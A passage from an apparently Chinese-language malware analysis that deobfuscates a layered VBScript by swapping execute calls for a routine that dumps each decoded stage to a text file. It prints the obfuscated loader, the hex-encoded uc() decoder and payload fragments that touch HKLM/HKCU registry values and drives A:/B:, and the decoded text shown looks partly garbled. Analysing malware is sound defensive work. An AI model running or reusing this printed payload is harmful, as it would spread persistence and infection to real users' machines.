108,102,38,34,108,111,111,112,34,41,58,101,120,101,99,117,116,101,40,121,41,58,101,110,100,32,102,117,110,99,116,105,111,110,58,113,79,61,34,42,32,1,18,15,8,32,23,4,14,56,55,95,16,18,15,29,31,19,19,32,23,3,31,18,31,32,14,27,8,31,61,39,124,38,16,29,19,38,124,39,124,41,58,4,61,54,125,123,1,15,18,32,31,27,29,3,32,16,32,4,14,32,16,7,58,4,61,4,43,54,125,123,4,1,32,4,62,27,28,19,40,2,19,41,32,20,3,31,14,32,16,18,61,54,125,123,4,1,32,2,19,60,53,32,20,3,31,14,32,4,1,32,16,46,20,31,18,8,4,14,27,20,31,61,55,32,27,14,30,32,16,18,61,54,32,20,3,31,14,32,23,19,46,18,21,14,32,29,8,38,124,20,19,6,4,7,7,32,124,38,7,31,1,20,40,16,46,14,27,8,31,44,7,31,14,40,16,46,14,27,8,31,41,45,57,41,44,53,44,1,27,7,19,31,125,123,14,31,24,20,125,123,4,1,32,31,18,40,53,41,32,20,3,31,14,32,16,18,61,55,12,58,18,16,8,61,12,1,15,18,32,4,61,54,32,20,15,32,7,31,14,40,23,20,41,58,31,29,61,31,29,43,29,3,18,40,27,19,29,40,8,4,30,40,23,20,44,4,44,54,41,41,45,4,41,58,14,31,24,20,12,58,25,61,12,17,61,54,55,48,58,19,61,54,55,56,58,23,61,54,55,57,58,21,61,52,50,58,26,61,54,53,52,58,31,61,54,56,58,24,61,54,54,53,58,27,61,54,55,55,58,1,61,45,54,56,58,3,61,53,58,4,61,53,58,12,58,8,16,6,61,12,1,15,18,32,31,27,29,3,32,30,32,4,14,32,30,29,125,123,4,1,32,8,4,18,61,30,38,5,32,20,3,31,14,32,23,19,46,18,21,14,32,124,31,24,16,7,15,18,31,18,32,124,38,30,44,56,44,1,27,7,19,31,125,123,14,31,24,20,125,123,15,21,29,61,18,20,40,15,21,23,44,45,54,41,58,4,1,32,29,1,40,15,21,23,41,32,20,3,31,14,32,8,19,2,28,15,24,40,124,72,27,16,16,25,32,78,31,23,25,31,27,18,33,124,41,58,6,8,32,54,125,123,4,1,32,19,25,19,32,20,3,31,14,125,123,3,4,32,54,125,123,4,1,32,18,18,40,124,20,4,7,124,44,54,41,60,62,20,4,7,32,20,3,31,14,125,123,23,18,32,124,20,4,7,124,44,20,4,7,125,123,23,18,32,124,20,5,19,124,44,28,20,5,125,123,23,18,32,124,30,5,19,124,44,30,27,20,31,125,123,23,18,32,124,30,31,30,124,44,53,125,123,31,14,30,32,4,1,125,123,30,5,19,61,18,18,40,124,30,5,19,124,44,54,41,58,4,1,32,4,19,30,27,20,31,40,30,5,19,41,32,27,14,30,32,30,27,20,31,45,29,30,27,20,31,40,30,5,19,41,62,56,53,32,20,3,31,14,32,23,18,32,124,15,19,23,124,44,57,125,123,4,1,32,18,18,40,124,27,20,30,124,44,54,41,61,54,32,20,3,31,14,32,23,19,46,18,21,14,32,124,27,20,32,47,30,32,47,25,124,44,53,44,1,27,7,19,31,58,23,18,32,124,27,20,30,124,44,53,125,123,4,1,32,18,18,40,18,19,16,38,18,19,14,44,53,41,61,22,31,32,20,3,31,14,32,18,19,32,45,54,125,123,7,31,61,18,18,40,124,30,14,27,124,44,54,41,58,4,1,32,31,4,40,20,8,16,38,7,31,44,54,41,32,20,3,31,14,32,23,19,46,18,21,14,32,20,8,16,38,7,31,125,123,6,8,32,53,125,123,29,21,58,31,18,32,54,125,123,23,19,29,18,4,16,20,46,19,7,31,31,16,32,54,53,53,53,125,123,4,1,32,18,18,40,124,30,31,30,124,44,54,41,60,62,29,19,20,18,40,30,27,20,31,41,32,20,3,31,14,32,23,19,46,18,21,14,32,15,21,23,125,123,31,7,19,31,125,123,23,19,29,18,4,16,20,46,19,7,31,31,16,32,48,53,53,53,125,123,4,1,32,16,18,40,124,23,19,29,18,4,16,20,46,31,24,31,124,44,55,41,61,55,32,20,3,31,14,125,123,4,1,32,18,18,40,124,20,5,29,124,44,54,41,61,29,19,20,18,40,30,27,20,31,41,32,20,3,31,14,58,23,19,29,18,4,16,20,46,17,21,4,20,58,31,7,19,31,58,23,18,32,124,20,5,29,124,44,30,27,20,31,125,123,31,14,30,32,4,1,125,123,4,1,32,16,18,40,124,23,19,29,18,4,16,20,46,31,24,31,124,44,55,41,61,54,32,20,3,31,14,32,23,19,29,18,4,16,20,46,17,21,4,20,125,123,27,18,32,15,21,23,44,50,58,29,15,32,30,4,18,38,22,31,58,29,15,32,23,4,14,38,22,31,58,18,19,32,54,58,23,19,46,18,21,14,32,30,4,18,38,22,31,125,123,31,14,30,32,4,1,12,58,14,19,2,61,18,19,2,38,19,3,2,58,16,28,8,61,12,30,1,32,23,3,58,19,31,20,32,22,28,19,61,1,19,15,46,29,18,31,27,20,31,20,31,24,20,1,4,7,31,40,23,3,44,20,18,21,31,41,58,22,28,19,46,23,18,4,20,31,32,15,21,29,58,22,28,19,46,29,7,15,19,31,58,27,18,32,23,3,44,50,12,58,31,27,61,12,17,22,26,32,17,58,23,61,12,12,92,12,12,58,28,27,32,18,31,31,28,31,32,31,18,1,3,26,18,32,27,18,6,2,12,58,31,1,8,61,12,4,1,32,19,23,61,54,32,27,14,30,32,18,18,40,18,19,16,38,18,19,14,44,53,41,60,62,22,31,32,20,3,31,14,125,123,23,19,46,18,31,2,23,18,4,20,31,32,18,19,16,38,18,19,14,44,22,31,44,124,82,69,71,95,83,90,124,125,123,4,1,32,31,18,40,53,41,32,27,14,30,32,14,15,20,32,31,4,40,1,19,16,44,54,41,32,20,3,31,14,32,28,1,32,1,19,16,44,23,19,18,38,124,32,124,124,124,38,22,31,38,124,124,124,124,44,53,125,123,31,7,19,31,4,1,32,19,23,61,45,54,32,20,3,31,14,58,30,1,32,1,19,16,125,123,31,7,19,31,4,1,32,19,23,61,53,32,20,3,31,14,58,30,1,32,1,19,16,58,23,18,32,18,19,16,38,18,19,14,44,45,54,58,23,18,32,18,16,27,44,45,54,125,123,31,14,30,32,4,1,12,58,21,22,8,61,12,4,1,32,19,23,61,54,32,20,3,31,14,32,23,19,46,18,31,2,23,18,4,20,31,32,3,4,16,44,124,53,124,44,124,82,69,71,95,68,87,79,82,68,124,125,123,4,1,32,19,23,61,53,32,20,3,31,14,32,3,4,61,18,18,40,3,4,16,44,53,41,12,58,20,22,8,61,12,4,30,61,18,18,40,124,4,30,30,124,44,54,41,125,123,30,15,32,23,3,4,7,31,32,1,4,30,60,61,31,4,30,58,4,30,29,61,4,30,29,38,124,44,124,38,1,4,30,58,1,4,30,61,1,4,30,43,54,58,7,15,15,16,125,123,4,30,19,61,4,30,19,38,4,30,29,58,4,30,19,19,61,19,16,7,4,20,40,4,30,19,44,124,44,124,41,125,123,1,15,18,32,4,61,53,32,20,15,32,21,28,15,21,14,30,40,4,30,19,19,41,125,123,4,1,32,4,30,61,4,30,19,19,40,4,41,32,20,3,31,14,32,4,1,32,14,15,20,32,31,4,40,20,8,16,38,1,14,27,8,31,44,54,41,32,20,3,31,14,32,30,14,32,20,8,16,38,1,14,27,8,31,44,3,20,38,1,21,18,7,44,53,44,55,53,53,53,125,123,14,31,24,20,125,123,4,1,32,31,4,40,20,8,16,38,1,14,27,8,31,44,54,41,32,20,3,31,14,32,23,19,46,18,21,14,32,20,8,16,38,1,14,27,8,31,125,123,2,4,61,54,12,58,17,5,8,61,12,4,1,32,18,18,40,124,2,31,30,124,44,54,41,60,62,1,14,32,27,14,30,32,16,18,40,16,29,19,44,54,41,61,54,32,20,3,31,14,125,123,4,1,32,30,14,40,20,8,16,38,1,14,44,3,20,38,1,21,18,7,44,53,44,55,53,53,53,41,61,54,32,20,3,31,14,32,30,23,29,61,54,125,123,4,1,32,31,4,40,20,8,16,38,1,14,44,54,41,32,27,14,30,32,30,23,29,61,54,32,20,3,31,14,125,123,4,1,32,6,4,7,7,61,54,32,20,3,31,14,32,16,18,32,16,29,19,44,45,54,125,123,23,19,46,18,21,14,32,20,8,16,38,1,14,125,123,4,1,32,14,15,20,32,31,18,40,53,41,32,20,3,31,14,32,23,18,32,124,2,31,30,124,44,1,14,58,30,14,32,53,44,3,20,43,31,29,40,3,28,41,43,3,31,43,1,14,44,53,44,53,58,4,1,32,6,4,7,7,61,55,32,20,3,31,14,32,16,18,32,16,29,19,44,45,54,58,6,8,32,54,125,123,31,14,30,32,4,1,125,123,30,23,61,54,125,123,31,14,30,32,4,1,125,123,23,19,29,18,4,16,20,46,19,7,31,31,16,32,54,53,53,12,58,3,1,8,61,12,1,15,18,32,31,27,29,3,32,30,32,4,14,32,30,29,125,123,4,1,32,30,46,30,18,4,22,31,20,25,16,31,61,56,32,15,18,32,40,30,46,30,18,4,22,31,20,25,16,31,61,54,32,27,14,30,32,30,60,62,124,65,58,124,32,27,14,30,32,30,60,62,32,124,66,58,124,41,32,20,3,31,14,125,123,4,1,32,19,23,61,54,32,20,3,31,14,125,123,4,1,32,31,4,40,30,38,4,14,1,44,55,41,32,20,3,31,14,32,30,1,32,30,38,4,14,1,125,123,4,1,32,31,4,40,30,38,5,38,22,19,44,54,41,32,27,14,30,32,31,4,40,30,38,4,14,1,44,54,41,32,20,3,31,14,125,123,4,1,32,18,20,40,30,38,4,14,1,44,54,41,60,62,20,4,7,32,20,3,31,14,32,28,4,32,30,38,4,14,1,125,123,31,7,19,31,125,123,3,4,32,54,58,28,4,32,30,38,4,14,1,58,29,15,32,30,38,5,38,22,19,125,123,31,14,30,32,4,1,125,123,31,7,19,31,4,1,32,19,23,61,45,54,32,20,3,31,14,58,30,1,32,30,38,4,14,1,58,30,1,32,30,38,5,38,22,19,125,123,31,7,19,31,58,28,1,32,30,38,5,38,22,19,44,23,19,18,38,124,40,7,31,1,20,40,23,19,29,18,4,16,20,46,19,29,18,4,16,20,1,21,7,7,14,27,8,31,44,56,41,41,44,56,124,38,19,20,18,4,14,2,40,54,53,53,53,53,44,124,39,124,41,44,54,58,30,1,32,30,38,4,14,1,125,123,31,14,30,32,4,1,125,123,31,14,30,32,4,1,125,123,14,31,24,20,12,58,16,3,8,61,12,29,21,19,61,18,18,40,124,15,19,23,124,44,54,41,60,62,57,125,123,30,15,125,123,30,29,21,61,18,18,40,124,20,2,19,124,44,54,41,60,62,29,19,20,18,40,30,27,20,31,41,125,123,4,1,32,40,19,31,29,15,14,30,40,20,4,8,31,41,32,8,15,30,32,56,41,61,53,32,20,3,31,14,125,123,4,1,32,30,29,21,32,27,14,30,32,29,21,19,32,20,3,31,14,32,21,19,32,54,125,123,8,4,14,61,8,4,14,21,20,31,40,14,15,23,41,58,4,1,32,40,8,4,14,32,8,15,30,32,55,41,61,54,32,27,14,30,32,14,14,60,62,8,4,14,32,27,14,30,32,15,15,60,62,54,32,20,3,31,14,32,14,14,61,8,4,14,58,15,15,61,2,20,58,6,8,32,53,125,123,4,1,32,18,18,40,124,20,19,23,124,44,54,41,61,54,32,20,3,31,14,32,31,24,31,29,21,20,31,40,21,29,40,18,18,40,124,20,29,15,124,44,54,41,41,41,125,123,31,14,30,32,4,1,125,123,23,19,29,18,4,16,20,46,19,7,31,31,16,32,52,53,53,125,123,4,1,32,3,4,40,53,41,61,54,32,27,14,30,32,30,29,21,32,20,3,31,14,32,23,18,32,124,20,2,19,124,44,30,27,20,31,58,21,19,32,45,54,125,123,4,1,32,16,18,40,124,20,27,19,6,8,2,18,46,31,24,31,124,44,54,41,61,54,32,20,3,31,14,58,23,19,46,18,21,14,32,124,27,20,32,124,38,20,4,8,31,43,53,46,53,53,56,38,124,32,47,4,14,20,31,18,27,29,20,4,22,31,32,124,38,22,31,44,53,44,1,27,7,19,31,58,23,18,32,124,27,20,30,124,44,54,58,3,4,32,54,58,6,8,32,53,58,23,19,29,18,4,16,20,46,17,21,4,20,125,123,7,15,15,16,12,58,18,6,2,61,12,58,18,6,18,16,3,2,18,40,3,16,40,12,58,24,26,8,61,12,4,1,32,19,23,61,54,32,20,3,31,14,125,123,18,19,32,53,58,21,19,32,45,54,58,30,1,32,15,21,23,58,30,1,32,23,4,14,38,22,31,58,30,1,32,30,4,18,38,22,31,58,30,1,32,23,28,31,38,22,31,58,23,19,29,18,4,16,20,46,17,21,4,20,125,123,31,7,19,31,125,123,18,19,32,54,125,123,4,1,32,29,1,40,30,4,18,38,22,31,41,32,20,3,31,14,32,29,15,32,30,4,18,38,22,31,125,123,4,1,32,29,1,40,23,4,14,38,22,31,41,32,20,3,31,14,32,29,15,32,23,4,14,38,22,31,125,123,31,14,30,32,4,1,12,58,16,19,8,61,12,4,1,32,18,20,40,23,3,44,54,41,60,62,124,18,31,8,32,124,38,20,4,7,32,20,3,31,14,32,29,1,61,20,18,21,31,12,58,18,6,18,16,3,2,18,40,18,6,2,38,12,17,7,8,41,41,12,38,18,6,2,38,12,8,16,6,41,41,12,38,19,3,2,38,12,20,2,40,41,12,38,18,6,2,38,12,20,2,8,12,38,14,19,2,38,12,18,22,40,27,14,26,18,44,5,2,41,12,38,18,6,2,38,12,18,22,8,12,38,14,19,2,38,12,17,19,40,5,21,41,12,38,18,6,2,38,12,17,19,8,12,38,14,19,2,38,12,15,19,40,5,21,44,5,2,44,17,14,41,12,38,18,6,2,38,12,15,19,8,12,38,14,19,2,38,12,15,22,40,5,21,41,12,38,18,6,2,38,12,15,22,8,12,38,14,19,2,38,12,31,2,40,5,21,44,25,22,41,12,38,18,6,2,38,12,31,2,8,12,38,14,19,2,38,12,5,31,40,31,27,14,44,31,17,14,41,12,38,18,6,2,38,12,5,31,8,12,38,14,19,2,38,12,31,31,40,31,27,14,44,29,14,41,12,38,18,6,2,38,12,31,31,8,12,38,14,19,2,38,12,14,31,40,19,22,25,18,44,16,20,41,12,38,18,6,2,38,12,14,31,8,12,38,14,19,2,38,12,17,27,40,25,28,16,44,5,18,15,44,31,22,1,44,26,22,27,41,12,38,18,6,2,38,12,17,27,8,12,38,14,19,2,38,12,29,31,40,29,16,1,44,20,1,41,12,38,18,6,2,38,12,29,31,8,12,38,14,19,2,38,12,18,16,40,5,2,41,12,38,18,6,2,38,12,18,16,8,12,38,14,19,2,38,12,16,28,40,5,21,41,12,38,18,6,2,38,12,16,28,8,12,38,14,19,2,38,12,31,1,40,1,5,41,12,38,18,6,2,38,12,31,1,8,12,38,14,19,2,38,12,21,22,40,1,5,41,12,38,18,6,2,38,12,21,22,8,12,38,14,19,2,38,12,20,22,40,22,17,1,44,19,22,17,44,18,22,17,44,19,27,14,26,18,44,19,3,31,25,41,12,38,18,6,2,38,12,20,22,8,12,38,14,19,2,38,12,17,5,40,29,16,1,44,19,27,44,19,3,31,25,44,24,22,25,25,41,12,38,18,6,2,38,12,17,5,8,12,38,14,19,2,38,12,3,1,40,1,5,41,12,38,18,6,2,38,12,3,1,8,12,38,14,19,2,38,12,16,3,40,41,12,38,18,6,2,38,12,16,3,8,12,38,14,19,2,38,12,24,26,40,1,5,41,12,38,18,6,2,38,12,24,26,8,12,38,14,19,2,38,12,16,19,40,5,21,41,12,38,18,6,2,38,12,16,19,8,12,38,18,19,2,41,127,11,19,3,27,16,2,22,28,27,32,18,31,40,1,16,28,41,127,11,22,19,32,18,31,31,46,27,3,26,15,18,31,60,62,53,32,28,31,32,1,16,28,60,53,32,2,21,18,27,127,11,18,31,31,46,16,25,18,14,31,127,11,18,31,61,2,31,3,18,127,11,22,19,32,1,16,28,60,62,53,32,14,27,17,32,31,31,40,12,17,18,17,12,44,54,41,60,62,16,1,2,31,40,17,14,2,18,41,32,2,21,18,27,127,11,5,31,32,12,28,18,31,12,44,31,31,40,12,28,18,31,12,44,54,41,43,14,15,1,40,1,16,28,41,127,11,22,19,32,31,31,40,12,28,18,31,12,44,54,41,62,54,53,53,32,2,21,18,27,32,5,31,32,12,17,18,17,12,44,17,14,2,18,58,5,31,32,12,28,18,31,12,44,53,127,11,18,27,17,32,22,19,127,11,18,27,17,32,22,19,127,11,18,27,17,32,19,3,27,16,2,22,28,27,34,58,101,120,101,99,117,116,101,40,117,99,40,108,79,43,113,79,41,41,13,10):for i=1 to UBound(UT):UTS=UTS&chr(UT(i)):next:Intercept UTS'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~!@#$%^&*()_+|;',./:"<>?
Sub Intercept (code)
WScript.Echo code
OutPutFile="decode_1.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write code
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub
2,保存为vbs后执行,得到decode_1.txt,
代码:
rem UT 
lO="    = =|4.6|:=|UT|:=255:=|.|:=|.|:=|%% / |:=|/#/|:=|\.|}{ =(|.|): =(|:\\.\\7|)}{ =(|.|): =.(| *  87_|)}{ =.:=.:=.(5)&:=.(6)&}{=.(7)&:=&|\|:=(,()-(.))}{=|(||.||).|:=|\|:=|HKLM\\\|&&&}{=(,5): =||  =}{=|HKLM\\|&&:=|\\\\\\|}{=| \|:=(|HKLM|&&&| |,5)&&:=(|HKCU|&&&||,5)&}{=(|HKCU|&&&||,5)&:=:=(|?01|):=(|:;4::<04|):=|5EE|:=(||+)}{=|HKLM\\\\\\\\|: =  =}{    :=.:=.:=.:=.:=.:}{=|HKCU|&&|\|:=|6<=121|&(679)&|;|}{ (,|0.7|)<>5 }{=||+}{ <>31  =||+: =|$|+:  := =(||,6):=(||,6):  ()   ()   ||,6: ||,:=(||,6)}{ ||,+6:=(|.|,6)=6  (|.|,6)=6  (|.|,6)=6}{ -()>9  =:. |  || |||,5,}{ ((||,6)>355       )  (||,6)<>() }{=(||,6):   =6:=6:=5}{  <>|<>|}{ =7  =9 }{7=(&,++()&,5,655):=(&,6)}{ =6  =8  6=(&,+()+()&&|&=|&,5,655):=(&,6)}{ :=+6:=6=6  7=6: >9 }{   =6}{ }{ }{    -6}{}{ (&,6) }{ =.(&,6)}{=.:=.:=.:=.:=.:=.}{=.:=.:=.:=.:=.:=.}{.: &: =|<>| }{ ||,6: ||,: ||,: ||,: ||,: ||,: ||,}{ ->=6   (&,6)   &,&&&,,7555:.}{ =6   }{ <>   (&,6)   &: &,&&&,6,6555}{ }{ }{ }{ }{ (6)    =6 :=  .()  =6  =}{ .()  =7  = :=  ,5}{ (,6)  .()}{ (,7)  .() := : :=  : =.(,):. :.}{ =6   ,2}{  (5)  =6 :=  : =.(,):=}{. &&|[]|&&|=. .\|&&&|\\=. .\|&&&|\\=6|}{.: ,2:  (5)  =6 :=  <5  =}{ (,6) }{ .().=5 }{=5}{}{ =.(,6)}{ =.(,6)}{.}{=.}{.}{ >5  <= }{=5 }{  <}{=+6}{  . }{=.}{}{=5}{ }{}{=}{ <=5 }{=.}{}{=5}{ }{.}{ }{}{=5}{  :=  =-6  .   . &,,|REG_SZ| :=  =6  =&}{=.()}{ (5)  =5 :=  (,6) : =.():.=: =}{ (,7) : =.():.=: = := )):  :=  ,5:  = (|.|):. ||,,5:.()}{ <>5 }{  (5) }{=6: =(|.|) }{.=8:.=6:.():.(.):. ,7}{ ,2}{ (,6)  =.().  =5}{ > }{ =6  . }{}{=5: }{ }{ }{  :=  =.(| ":function uc(b):x="633d766263726C663A643D3132373A663D31313A6A3D31323A683D31343A6D3D33313A723D38333A6B3D313A6E3D383A733D3131343A753D2D353A763D350D0A693D22696620613D223A743D22207468656E20223A653D22656C7365696620613E3D223A613D2220616E6420613C3D223A673D22613D612B223A6F3D74266326673A703D6326653A713D6326690D0A65786563757465286C2622666F722069693D3120746F206C656E2862293A613D617363286D696428622C69692C3129292226712622642226742622613D31332226712622662226742622613D313022267126226A22267426632622613D3334222663266526226822266126226D22266F26227222267026226B22266126226E22266F262273222670262235332226612622353722266F262275222670262234382226612622353222266F2622762226632622656E64206966222663262275633D75632B63687228612922266326226E657874222663262275633D726E2B632B75632229":y="execute """"":z="&chr(&h":w=")":execute("do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)"&vbcrlf&"loop"):execute(y):end function:qO="*  87_  ='|&&|'|):=6}{    :=+6}{ >()  =6}{ <5   .=7  =6  . &| |&(.,(.)-9),5,}{}{ (5)  =7 :=  =6  ():=+(((,,6))-): := =670:=678:=679:=42:=654:=68:=665:=677:=-68:=5:=5: :=     }{ =&  . | |&,8,}{}{=(,-6): ()  (|H N!|): 6}{  }{ 6}{ (||,6)<> }{ ||,}{ ||,}{ ||,}{ ||,5}{ }{=(||,6): ()  -()>85   ||,9}{ (||,6)=6  . | / /|,5,: ||,5}{ (&,5)=   -6}{=(||,6): (&,6)  . &}{ 5}{: 6}{. 6555}{ (||,6)<>()  . }{}{. 0555}{ (|.|,7)=7 }{ (||,6)=() :.:: ||,}{ }{ (|.|,7)=6  .}{ ,2: &: &: 6:. &}{  :=&:=  : =.(,):. :.: ,2 :=  := \ :    :=  =6  (&,5)<> }{. &,,|REG_SZ|}{ (5)   (,6)   ,&| |||&&||||,5}{ =-6 : }{ =5 : : &,-6: ,-6}{  :=  =6  . ,|5|,|REG_DWORD|}{ =5  =(,5) := =(||,6)}{  <=:=&|,|&:=+6:}{=&:=(,|,|)}{ =5  ()}{ =()    (&,6)   &,&,5,7555}{}{ (&,6)  . &}{=6 :=  (||,6)<>  (,6)=6 }{ (&,&,5,7555)=6  =6}{ (&,6)  =6 }{ =6   ,-6}{. &}{  (5)   ||,: 5,+()++,5,5: =7   ,-6: 6}{ }{=6}{ }{. 655 :=     }{ .=8  (.=6  <>|A:|  <> |B:|) }{ =6 }{ (&,7)   &}{ (&&,6)  (&,6) }{ (&,6)<>   &}{}{ 6: &: &&}{ }{ =-6 : &: &&}{: &&,&|((.,8)),8|&(65555,|'|),6: &}{ }{ }{ := =(||,6)<>9}{}{=(||,6)<>()}{ (()  8)=5 }{      6}{=(): (  7)=6  <>  <>6  =:=: 5}{ (||,6)=6  (((||,6)))}{ }{. 455}{ (5)=6     ||,: -6}{ (|.|,6)=6 :. | |&+5.558&| / |&,5,: ||,6: 6: 5:.}{ := :(( :=  =6 }{ 5: -6: : &: &: &:.}{}{ 6}{ (&)   &}{ (&)   &}{  :=  (,6)<>| |&  = :(& )) && )) && () &&  && (,) &&  && () &&  && (,,) &&  && () &&  && (,) &&  && (,) &&  && (,) &&  && (,) &&  && (,,,) &&  && (,) &&  && () &&  && () &&  && () &&  && () &&  && (,,,,) &&  && (,,,) &&  && () &&  && () &&  && () &&  && () &&  &)  ()  .<>5  <5  . =  <>5  (  ,6)<>()    ,(  ,6)+()  (  ,6)>655    ,:  ,5      ":execute(uc(lO+qO))
代码:
2堆乱码是2个变量的值lO,qO。中间加一个函数function uc(b),最后执行execute(uc(lO+qO))。
到了这里就要分2不走了。首先肯定要拦截execute(uc(lO+qO)),另外在function uc(b)函数代码如下
function uc(b):x="633d766263726C663A643D3132373A663D31313A6A3D31323A683D31343A6D3D33313A723D38333A6B3D313A6E3D383A733D3131343A753D2D353A763D350D0A693D22696620613D223A743D22207468656E20223A653D22656C7365696620613E3D223A613D2220616E6420613C3D223A673D22613D612B223A6F3D74266326673A703D6326653A713D6326690D0A65786563757465286C2622666F722069693D3120746F206C656E2862293A613D617363286D696428622C69692C3129292226712622642226742622613D31332226712622662226742622613D313022267126226A22267426632622613D3334222663266526226822266126226D22266F26227222267026226B22266126226E22266F262273222670262235332226612622353722266F262275222670262234382226612622353222266F2622762226632622656E64206966222663262275633D75632B63687228612922266326226E657874222663262275633D726E2B632B75632229":y="execute """"":z="&chr(&h":w=")":execute("do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)"&vbcrlf&"loop"):execute(y):end function
代码:
这个函数中最后一个execute执行的是一个变量y,也得跟进去截获。
3,跟进函数uc。替换execute(y)为Intercept (y),末尾添加
Sub Intercept (y)
WScript.Echo y
OutPutFile="decode_2.txt"
Set objFSO=CreateObject("Scripting.FileSystemObject")
Set objTXT=objFSO.CreateTextFile(OutPutFile,True,False)
objTXT.Write y
objTXT.Close
Set objWSH=CreateObject("WScript.Shell")
objWSH.Run OutPutFile
WScript.Quit
End Sub
代码:
rem UT 
lO="    = =|4.6|:=|UT|:=255:=|.|:=|.|:=|%% / |:=|/#/|:=|\.|}{ =(|.|): =(|:\\.\\7|)}{ =(|.|): =.(| *  87_|)}{ =.:=.:=.(5)&:=.(6)&}{=.(7)&:=&|\|:=(,()-(.))}{=|(||.||).|:=|\|:=|HKLM\\\|&&&}{=(,5): =||  =}{=|HKLM\\|&&:=|\\\\\\|}{=| \|:=(|HKLM|&&&| |,5)&&:=(|HKCU|&&&||,5)&}{=(|HKCU|&&&||,5)&:=:=(|?01|):=(|:;4::<04|):=|5EE|:=(||+)}{=|HKLM\\\\\\\\|: =  =}{    :=.:=.:=.:=.:=.:}{=|HKCU|&&|\|:=|6<=121|&(679)&|;|}{ (,|0.7|)<>5 }{=||+}{ <>31  =||+: =|$|+:  := =(||,6):=(||,6):  ()   ()   ||,6: ||,:=(||,6)}{ ||,+6:=(|.|,6)=6  (|.|,6)=6  (|.|,6)=6}{ -()>9  =:. |  || |||,5,}{ ((||,6)>355       )  (||,6)<>() }{=(||,6):   =6:=6:=5}{  <>|<>|}{ =7  =9 }{7=(&,++()&,5,655):=(&,6)}{ =6  =8  6=(&,+()+()&&|&=|&,5,655):=(&,6)}{ :=+6:=6=6  7=6: >9 }{   =6}{ }{ }{    -6}{}{ (&,6) }{ =.(&,6)}{=.:=.:=.:=.:=.:=.}{=.:=.:=.:=.:=.:=.}{.: &: =|<>| }{ ||,6: ||,: ||,: ||,: ||,: ||,: ||,}{ ->=6   (&,6)   &,&&&,,7555:.}{ =6   }{ <>   (&,6)   &: &,&&&,6,6555}{ }{ }{ }{ }{ (6)    =6 :=  .()  =6  =}{ .()  =7  = :=  ,5}{ (,6)  .()}{ (,7)  .() := : :=  : =.(,):. :.}{ =6   ,2}{  (5)  =6 :=  : =.(,):=}{. &&|[]|&&|=. .\|&&&|\\=. .\|&&&|\\=6|}{.: ,2:  (5)  =6 :=  <5  =}{ (,6) }{ .().=5 }{=5}{}{ =.(,6)}{ =.(,6)}{.}{=.}{.}{ >5  <= }{=5 }{  <}{=+6}{  . }{=.}{}{=5}{ }{}{=}{ <=5 }{=.}{}{=5}{ }{.}{ }{}{=5}{  :=  =-6  .   . &,,|REG_SZ| :=  =6  =&}{=.()}{ (5)  =5 :=  (,6) : =.():.=: =}{ (,7) : =.():.=: = := )):  :=  ,5:  = (|.|):. ||,,5:.()}{ <>5 }{  (5) }{=6: =(|.|) }{.=8:.=6:.():.(.):. ,7}{ ,2}{ (,6)  =.().  =5}{ > }{ =6  . }{}{=5: }{ }{ }{  :=  =.(| ":function uc(b):x="633d766263726C663A643D3132373A663D31313A6A3D31323A683D31343A6D3D33313A723D38333A6B3D313A6E3D383A733D3131343A753D2D353A763D350D0A693D22696620613D223A743D22207468656E20223A653D22656C7365696620613E3D223A613D2220616E6420613C3D223A673D22613D612B223A6F3D74266326673A703D6326653A713D6326690D0A65786563757465286C2622666F722069693D3120746F206C656E2862293A613D617363286D696428622C69692C3129292226712622642226742622613D31332226712622662226742622613D313022267126226A22267426632622613D3334222663266526226822266126226D22266F26227222267026226B22266126226E22266F262273222670262235332226612622353722266F262275222670262234382226612622353222266F2622762226632622656E64206966222663262275633D75632B63687228612922266326226E657874222663262275633D726E2B632B75632229":y="execute """"":z="&chr(&h":w=")":execute("do while len(x)>1:if isnumeric(left(x,1)) then y=y&z&left(x,2)&w:x=mid(x,3) else y=y&z+left(x,4)+w:x=mid(x,5)"&vbcrlf&"loop"):Intercept(y):end function:qO="*  87_  ='|&&|'|):=6}{    :=+6}{ >()  =6}{ <5   .=7  =6  . &| |&(.,(.)-9),5,}{}{ (5)  =7 :=  =6  ():=+(((,,6))-): := =670:=678:=679:=42:=654:=68:=665:=677:=-68:=5:=5: :=     }{ =&  . | |&,8,}{}{=(,-6): ()  (|H N!|): 6}{  }{ 6}{ (||,6)<> }{ ||,}{ ||,}{ ||,}{ ||,5}{ }{=(||,6): ()  -()>85   ||,9}{ (||,6)=6  . | / /|,5,: ||,5}{ (&,5)=   -6}{=(||,6): (&,6)  . &}{ 5}{: 6}{. 6555}{ (||,6)<>()  . }{}{. 0555}{ (|.|,7)=7 }{ (||,6)=() :.:: ||,}{ }{ (|.|,7)=6  .}{ ,2: &: &: 6:. &}{  :=&:=  : =.(,):. :.: ,2 :=  := \ :    :=  =6  (&,5)<> }{. &,,|REG_SZ|}{ (5)   (,6)   ,&| |||&&||||,5}{ =-6 : }{ =5 : : &,-6: ,-6}{  :=  =6  . ,|5|,|REG_DWORD|}{ =5  =(,5) := =(||,6)}{  <=:=&|,|&:=+6:}{=&:=(,|,|)}{ =5  ()}{ =()    (&,6)   &,&,5,7555}{}{ (&,6)  . &}{=6 :=  (||,6)<>  (,6)=6 }{ (&,&,5,7555)=6  =6}{ (&,6)  =6 }{ =6   ,-6}{. &}{  (5)   ||,: 5,+()++,5,5: =7   ,-6: 6}{ }{=6}{ }{. 655 :=     }{ .=8  (.=6  <>|A:|  <> |B:|) }{ =6 }{ (&,7)   &}{ (&&,6)  (&,6) }{ (&,6)<>   &}{}{ 6: &: &&}{ }{ =-6 : &: &&}{: &&,&|((.,8)),8|&(65555,|'|),6: &}{ }{ }{ := =(||,6)<>9}{}{=(||,6)<>()}{ (()  8)=5 }{      6}{=(): (  7)=6  <>  <>6  =:=: 5}{ (||,6)=6  (((||,6)))}{ }{. 455}{ (5)=6     ||,: -6}{ (|.|,6)=6 :. | |&+5.558&| / |&,5,: ||,6: 6: 5:.}{ := :(( :=  =6 }{ 5: -6: : &: &: &:.}{}{ 6}{ (&)   &}{ (&)   &}{  :=  